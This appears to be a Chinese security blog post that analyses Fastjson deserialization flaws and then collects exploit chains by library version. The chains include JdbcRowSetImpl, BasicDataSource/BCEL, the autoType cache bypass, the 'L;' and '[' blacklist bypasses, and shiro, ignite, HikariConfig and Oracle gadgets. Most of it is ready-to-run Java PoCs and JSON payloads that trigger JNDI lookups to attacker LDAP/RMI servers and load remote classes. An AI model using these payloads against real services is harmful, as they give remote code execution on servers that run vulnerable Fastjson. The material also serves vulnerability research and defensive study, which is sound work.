FastJson反序列化

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

 环境:

     //添加依赖
   <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
   </dependency>

 介绍:

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

demo:

package FastJson;

public class Person {
    private String name;
    private int age;

    public Person(String name, int age){this.name = name;this.age = age;}

    public Person(){System.out.println("constructor");}

    public String getName() {System.out.println("getName");return this.name;}

    public void setName(String name) {System.out.println("setName");this.name = name;}

    public int getAge() {System.out.println("getAge");return this.age;}

    public void setAge(int age) { System.out.println("setAge");this.age = age;}
}
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;


public class test {
    public static void  main(String[] args) throws Exception{
        //第一种
        String s = "{\"param1\":\"aaa\",\"param2\":\"bbb\"}";
        JSONObject jsonObject = JSON.parseObject(s);
        System.out.println(jsonObject.getString("param1"));
        //第二种
        //String s = "{\"age\":18,\"name\":\"abc\"}";
        //Person person = JSON.parseObject(s,Person.class);
        //第三种
//        String s = "{\"@type\":\"FastJson.Person\",\"age\":18,\"name\":\"abc\"}";
//        JSONObject person = JSON.parseObject(s);

    }
}

可以看到在主函数中一共有FastJson的三种用法,也相对应有三种结果。

第一种:
aaa
第二种: 
constructor
setAge
setName
第三种:
constructor
setAge
setName
getAge
getName

可以看到FastJson在转换为对象的时候是通过getter和setter方法来实现赋值的。

其中第一种和第二种方式都没有操作空间,因为转换成的对象的类型都被确定了,不受我们客户端控制,而第三种就大有作为,是通过我们客户端传入的字符串来指定实例化对象的类型。

流程分析:

调用了parse方法,方法处理后返回的就是一个对象了,最后转换成了JSONObject类型的对象,这个类型就是一个map。进parse方法看看。

DefaultJSONParser就是对传入的字符串进行解析

在下面的parse方法中也是解析字符串,第一个字符是{,因此当作json对象解析,调用JSONObject。

这个函数中前面处理key,后面处理value,在处理key时会判断@符,有@就意味着要执行java的反序列化,类进行了loadClass加载。

这里第一步就是获取了javabean的反序列化器,然后用反序列化器进行反序列化操作。在创建类的反序列化器的时候,需要把类里面的东西进行了解,这里就通过build函数,我们再来看一下build函数。

主要就是三部分,这里我折叠了,第一for循环获得所有setter方法,第二for循环获得所有public属性 ,第三个for循环获得所有getter方法。主要通过方法名长度,方法返回值来判断getter和setter,其中getter方法有要求,返回值必须是下面之一,且没有对应的setter方法。后续就会调用这些getter和setter。

然后后面部分就会调用setter方法来讲传入的字符串中的值赋值给实例化的对象,哪些满足条件的getter方法也会调用。中间流程复杂就不讲了,直接跳到后面调用getter方法的地方。

实际上就是在toJSON的时候调用的,因为在构建对象的时候当然要通过setter方法来赋值,现在又要将对象转换成JSON,当然要用getter方法来获取对象属性的值。

然后调用getObjectWriter,与前面的desearialize相对应的,会获取所有getter方法(即使不满足前面说的返回值要是四种类型之一)。

在getFieldValuesMap中调用getter方法获取值,跟进去看看。

一路跟进最后是在get中调用了getter方法 ,这里的调用是会调用所有的getter方法的,包括哪些满足条件的getter方法就会调用两次。

链子大全:

fastjson<=1.2.24

JdbcRowSetImpl链:

条件:
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
出网
分析:

这个链子很简单,只有两步。

connect方法中是标准的jndi注入,只要控制能控制this.getDataSourceName()的值,且这个connect方法在某个setter或者满足条件的getter中被调用即可。

datasource可以通过set方法kongzhi

connect方法可以通过set方法触发(get方法的返回值不是那几种)。

因此链子就通了。

poc:
package FastJson;

import com.alibaba.fastjson.JSON;

public class FastJsonjdbcrowsetimpl {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/CNlBHEim\",\"AutoCommit\":\"false\"}";
        JSON.parseObject(s);
    }
}

用yakit打开一个LDAP的恶意服务器(双字节字符要关掉不然执行不了),然后执行poc即可。

BasicDataSource链 

条件:

引入tomcat依赖

 <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>8.0.36</version>
        </dependency>
分析:

这个poc核心是classloader的动态类加载,在com.sun.org.apache.bcel.internal.util包下的classloader类中会判断字节流是不是以BCEL开头,是的话就会实例化这个类。

有一点需要注意在createclass中调用各类decode,所以我们传入的需要进行encode。

在BasicDataSource.createConnectionFactory()中调用了forname方法,这个方法底层就是调用classloader,然后我们向上找getter和setter方法来调用他。

BasicDataSource.createDataSource调用了createConnectionFactory()

 BasicDataSource.getConnection()调用了createDataSource(),到这一步逻辑闭环了。

 现在还需要我们能控制forname的两个参数

现在我们只需要能够控制forname方法的两个参数即可。

可以看到都能够控制。

poc:
package FastJson;

import java.io.*;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

public class FastJsonBcel {
    public static void main(String[] args) throws Exception {
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert("E:\\java_security\\badfile\\hack.class");
        String code = Utility.encode(bytes,true);
//        classLoader.loadClass("$$BCEL$$"+code).newInstance();
//        BasicDataSource basicDataSource = new BasicDataSource();
//        basicDataSource.setDriverClassLoader(classLoader);
//        basicDataSource.setDriverClassName("$$BCEL$$"+code);
//        basicDataSource.getConnection();
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code +"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";

//      parseObject是先parse后toJSON,这样我们才能调用get方法:getConnection()
        JSON.parseObject(s);
    }

    private static byte[] convert(String s) throws Exception {
        File file = new File(s);
        if (!file.exists()) {
            throw new FileNotFoundException("文件未找到:" + s);
        }
        try (InputStream inputStream = new FileInputStream(file)) {
            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int bytesRead;

            while ((bytesRead = inputStream.read(buffer)) != -1) {
                byteOutput.write(buffer, 0, bytesRead);
            }

            return byteOutput.toByteArray();
        }
    }
}

fastjson>=1.2.24

绕过autoTypeSupport

条件:


    fastjson1.2.25-1.2.32版本:需要未开启AutoTypeSupport。

    fastjson1.2.33-1.2.47版本:
分析:

在fastjson=>1.2.25之后默认autoTypeSupport属性为false

并且多了一个checkautotype的函数,可以看到返回值是一个class,fastjson后续的版本也都是围绕这个函数来进行过滤和加载类的。使用原来的jdbc链会报错,我们来调试一下报错的过程。

 、

跟进去看看 ,这里的autoTypeSupport和expectClass默认都是null、

这里尝试从缓存中读取类(如果之前加载过这个类,就会存到缓存,后续用到的时候就会从缓存中找) ,然后直接返回,注意这里就不会经过后续的黑名单检测。

 

这个mapping属性就是缓存,存放了类名和类的类型的对应,图片只截取部分。可以看到这个操作是在静态代码块中,也就是默认执行的。这里我们要加载的类是jdbcRowSetImpl,缓存中找不到,也就返回null。

然后再autoTypeSupport为false的时候,就会进行黑白名单的检测。

然后就是在这里被检测出来从而报错。

使用黑名单外的类来rce基本不可能,我们就得想办法不经过黑名单。前面提到缓存中如果有相应的类就会直接返回,不会经过黑名单,所以我们就考虑如何往mapping中放入我们的恶意类。

可以看到在classloader中能调用put,再找loadclass再哪里调用,最后找到

这里需要class等于Class类型。

看这个类其实是一个反序列化器,后面会被放到deserializers的缓存中,以后反序列化什么类就会找到相应的反序列化器。

 

但是有个条件,要实例化成的Class类的键值必须等于val。

然后会将val键对应的值存入objVal和strVal,也就是我们的恶意类的类名

 然后loadClass传入strVal

最后放进我们的缓存。

payload:
JdbcRowSetImpl链:

还是用yakit起一个本地Ldap服务

package FastJson;
import com.alibaba.fastjson.JSON;
public class fastjsonAutotype {
    public static void main(String[] args){
        //第一步:反序列化一个Class类,值为恶意类
        //用之前payload从缓存中继续加载
        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:6666/CNlBHEim\",\"AutoCommit\":\"false\"}}";
        JSON.parseObject(s);
    }
}

String ParsePayload2 = "{" +
    "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"}:\"aaa\"," +
    "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
    "{" +
        "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
            "\"xxx\":{"+
                "\"@type\":\"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
                "\"driverClassLoader\":{" +
                    "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
                "}," +
            "\"driverClassName\":\"$$BCEL$$...\"" +
        "}" +
    "}:\"aaa\""+
"}";
BasicDataSource链  

条件:



    此利用连版本要求比较麻烦

    1.2.25~1.2.32之间用不了BasicDataSource链

    1.2.37以上不行
package FastJson;
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.*;

public class fastjsonAutotype {
    public static void main(String[] args) throws Exception{
        //第一步:反序列化一个Class类,值为恶意类
        //用之前payload从缓存中继续加载
        //链1
//        String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:6666/CNlBHEim\",\"AutoCommit\":\"false\"}}";
        //链2
        ClassLoader classLoader = new ClassLoader();
        byte[] bytes = convert("E:\\java_security\\badfile\\hack.class");
        String code = Utility.encode(bytes,true);
        String s = "{" +
                "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"}:\"aaa\"," +
                "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
                "{" +
                "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
                "\"xxx\":{"+
                "\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
                "\"driverClassLoader\":{" +
                "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
                "}," +
                "\"driverClassName\":\"$$BCEL$$"+code+"\"" +
                "}" +
                "}:\"aaa\""+
                "}";
        System.out.println(s);
        JSON.parseObject(s);
    }
    private static byte[] convert(String s) throws Exception {
        File file = new File(s);
        if (!file.exists()) {
            throw new FileNotFoundException("文件未找到:" + s);
        }
        try (InputStream inputStream = new FileInputStream(file)) {
            ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int bytesRead;

            while ((bytesRead = inputStream.read(buffer)) != -1) {
                byteOutput.write(buffer, 0, bytesRead);
            }

            return byteOutput.toByteArray();
        }
    }
}
BasicDataSource链2:

条件:

与上面的链1适用版本不同,1.2.33~1.2.47

 String s = "{" +
                "{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"}:\"aaa\"," +
                "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}:\"bbb\"," +
                "{" +
                "\"@type\":\"com.alibaba.fastjson.JSONObject\"," +
                "\"xxx\":{"+
                "\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," +
                "\"driverClassLoader\":{" +
                "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
                "}," +
                "\"driverClassName\":\"$$BCEL$$" + code + "\"" +
                "}" +
                "}:{\"aaa\":\"bbb\"}"+
                "}";

前面部分都是autoTypeSupport为false的情况,如果开发者设置为true,那又有很多绕过,这里就不一一分析了,已经有师傅写的很全面了,这里直接放链接。

fastjson反序列化_学习 | AsaL1n's blog

FastJSON(全系漏洞分析-截至20230325) - FreeBuf网络安全行业门户

autoType=true

fastjson 1.2.25-1.2.41
分析:
if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

如果类名以L开头,;结尾,则会直接loadclass而不经过黑名单。

poc:
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Lfastjson {
    public static void main(String[] args) {
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\", \"autoCommit\":true}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parse(PoC);

    }
}
fastjson 1.2.42
分析:

1.2.42版本将黑名单变成hashcode, 不过已经被碰撞出来了大部分https://github.com/LeadroyaL/fastjson-blacklist

1679726128_641e96300c7b0db978425.png!small?1679726128338

而在checkAutoType中

1679726133_641e96359c9034d153940.png!small?1679726133947

会对L开头;结尾的className先进行去除,然后在使用TypeUtils.loadClass(typeName, this.defaultClassLoader)加载类

这里双写L和;即可绕过

poc:
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Lfastjson {
    public static void main(String[] args) {
        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\", \"autoCommit\":true}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parse(PoC);

    }
}
Fastjson 1.2.25-1.2.43
分析:

同样在checkAutoType中,判断前两个字符不能为L,否则抛异常,可以使用[绕过

poc:
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Lfastjson {
    public static void main(String[] args) {
        String PoC ="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://127.0.0.1:8085/yIbdwOih\",\"autoCommit\":true" ;
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parse(PoC);

    }
}
Fastjson 1.2.25-1.2.45
分析:

在1.2.44中修改[符号产生的绕过

不过依然可以使用黑名单不存在的类进行绕过,不过需要存在mybatis3.x.x系列<3.5.0

<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.11</version>
</dependency>

 

poc:
package FastJson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Lfastjson {
    public static void main(String[] args) {
        String PoC ="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:8085/yIbdwOih\"}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parse(PoC);

    }
}
fastjson1.2.47-66

在这个版本里面修复了json内置绕过,里面能够利用的漏洞主要还是一些组件漏洞。

org.apache.shiro-core-1.5.1
分析:

存在可控的lookup参数点

public T getInstance() {
      try {
          if(requiredType != null) {
              return requiredType.cast(this.lookup(resourceName, requiredType));
          } else {
              return (T) this.lookup(resourceName);
          }
poc:
package org.example.fastjson.other;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class AutoCloseable {
    public static void main(String[] args){
        String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://127.0.0.1:7777/evil\"}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        System.out.println(JSON.parseObject(poc));
    }
}
br.com.anteros.dbcp.AnterosDBCPConfig
分析:
private Object getObjectOrPerformJndiLookup(Object object)
  {
     if (object instanceof String) {
        try {
           InitialContext initCtx = new InitialContext();
           return initCtx.lookup((String) object);
        }
        catch (NamingException e) {
           throw new IllegalArgumentException(e);
        }
     }
     return object;

 传递的参数是metricRegistry进入到lookup中,参数可以控制

poc:
package org.example.fastjson.other;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class metricRegistry {
    public static void main(String[] args) {
        String poc ="{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://127.0.0.1:8080/evil\"}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(poc);
    }
}

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
分析:

jndiNames可控导致注入

poc:
package org.example.fastjson.other;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class metricRegistry {
    public static void main(String[] args) {
        String poc ="{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://127.0.0.1:8080/evil\"}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(poc);
    }
}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
分析:
public void setProperties(Properties props) throws SQLException, TransactionException {
   String utxName = null;
   try {
     utxName = (String) props.get("UserTransaction");
     InitialContext initCtx = new InitialContext();
     userTransaction = (UserTransaction) initCtx.lookup(utxName);
   } catch (NamingException e) {
     throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + ").  Cause: " + e);
   }
 }

参数可以控制 

poc:
 
package org.example.fastjson.other;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class metricRegistry {
    public static void main(String[] args) {
        String poc =" {\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://127.0.0.1:8080/evil/\"}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(poc);
    }
}

Fastjson =1.2.50
{
    "@type":"java.lang.AutoCloseable",
    "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",
    "dataSourceName":"ldap://localhost:1389/test",
    "command":"a"
}
Fastjson1.2.50-1.2.59

需要开启AutoType

{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
Fastjson1.2.50-1.2.60

无需开启autotype

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
Fastjson1.2.50-1.2.61

开启autotype

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
 
Fastjson <=1.2.62

利用条件:

  • 需要开启AutoType
  • 目标服务端需要存在xbean-reflect包

利用载荷:

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}
Fastjson <=1.2.67

利用条件:

  • 开启AutoType

  • JNDI注入利用所受的JDK版本限制

  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖

  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

 

  • 10
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值